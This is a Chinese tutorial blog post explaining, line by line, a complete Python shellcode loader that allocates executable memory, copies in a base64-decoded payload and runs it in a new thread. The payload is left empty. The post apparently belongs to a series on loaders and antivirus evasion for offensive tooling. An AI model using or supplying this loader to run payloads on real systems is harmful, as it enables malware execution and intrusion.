前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Shellcode Loader原理

Shellcode Loader原理

作者头像
Elapse
发布2022-10-27 15:00:16
1.2K0
发布2022-10-27 15:00:16
举报
文章被收录于专栏:E条咸鱼

(这个系列的都是基于python3的,包括后续会发的加载器、打包等)

先放一段最基础的Shellcode加载器

代码语言:javascript
复制
import ctypes,urllib.request,codecs,base64
data = ""
shellcode = data
shellcode = base64.b64decode(shellcode)

shellcode =codecs.escape_decode(shellcode)[0]

shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

这里按行进行解析

代码解析

利用codecs.escape_decode() 将shellcode转为bytes

这块就是将前面的shellcode,转为bytes类型,因为生成出来的payload为十六进制

然后在第八行中,通过bytearray来获取转为bytes类型后的shellcode

ctypes库解释+restype设置返回类型

python的ctypes模块是内建,用来调用系统动态链接库函数的模块

我们需要通过VirtualAlloc来申请内存,但是在此之前需要先确认系统位数 为了在64位系统中运行,返回的类型必须跟系统位数一样

代码语言:javascript
复制
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

其中ctypes.c_uint64就是设置返回的类型为64位,如果没有这一段的话,则默认返回32位

通过VirtualAlloc申请内存

下面是函数原型和参数

代码语言:javascript
复制
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect     #该内存的初始保护属性
};

然后对比第十行的写法

代码语言:javascript
复制
ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0), #要分配的内存区域的地址
    ctypes.c_int(len(shellcode)), #分配的大小
    ctypes.c_int(0x3000), #分配的类型
    ctypes.c_int(0x40))    #该内存的初始保护属性

这是上文的解释,其中IpAddress为0,也就是null时,分配的地址是由系统决定的,无需用户自己指定 分配的类型(不止)

0x3000则是第一个和第二个的合并 flprotect访问类型

https://baike.baidu.com/item/VirtualAlloc/1606859?fr=aladdin

将Shellcode加载进内存中

代码语言:javascript
复制
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

这条语句在执行成功后,系统会返回一个内存地址(str下面的数字为地址

接着需要利用RtlMoveMemory函数,将shellcode加载到这个内存中

代码语言:javascript
复制
RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。

对比一下加载器的代码

代码语言:javascript
复制
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),    #指向移动目的地址的指针。
    buf,    #指向要复制的内存地址的指针。
    ctypes.c_int(len(shellcode))    #指定要复制的字节数。
)

buf中,利用ctypes传入一个字符串类型,然后通过RtlMoveMemory进行加载 需要注意的是,在目的地址那也是需要使用c_uint64来表示64位 .from_buffer()为加载的原文,c_char * len()用于指定数量

创建新线程

CreateThread函数原型和参数如下:

代码语言:javascript
复制
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize,       #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针
LPVOID lpParameter,          #向线程函数传递的参数
DWORD dwCreationFlags,       #线程创建属性
LPDWORD lpThreadId           #保存新线程的id
)

对比一下加载器的代码

代码语言:javascript
复制
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),    #线程安全属性
    ctypes.c_int(0),    #置初始栈的大小,以字节为单位
    ctypes.c_uint64(ptr),    #指向线程函数的指针
    ctypes.c_int(0),    #向线程函数传递的参数
    ctypes.c_int(0),    #线程创建属性
    ctypes.pointer(ctypes.c_int(0))    #保存新线程的id
)

详解如下:

https://baike.baidu.com/item/CreateThread/8222652?fr=aladdin

等待线程调用结束

创建完线程并激活就可以上线了,但是进程不能就这么没了,所以需要利用WaitForSingleObject检测线程状态 WaitForSingleObject函数原型和参数如下:

代码语言:javascript
复制
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds  #定时时间间隔
);

对比一下加载器代码

代码语言:javascript
复制
ctypes.windll.kernel32.WaitForSingleObject(
    ctypes.c_int(handle),    #对象句柄。可以指定一系列的对象
    ctypes.c_int(-1))    #定时时间间隔

定时的时间间隔为负数时,则表示无限等待的时间

参考文章

内存管理-虚拟内存 https://www.cnblogs.com/Sna1lGo/p/14472260.html 系统内存使用统计 https://blog.csdn.net/weixin_43448411/article/details/106564870 cs免杀-shellcode loader加载器原理(Python) https://mp.weixin.qq.com/s?__biz=MzIwOTMzMzY0Ng==&mid=2247484538&idx=1&sn=a23fec3cad596102d30a99bad6c27b85&chksm=9774389ba003b18d5428ed6f75490b8cda7f9dcae2e9726ad42ac2d939794c103a7f561f905e&scene=21#wechat_redirect

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-10-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 E条咸鱼 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 代码解析
    • 利用codecs.escape_decode() 将shellcode转为bytes
      • ctypes库解释+restype设置返回类型
        • 通过VirtualAlloc申请内存
          • 将Shellcode加载进内存中
            • 创建新线程
              • 等待线程调用结束
                • 参考文章
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档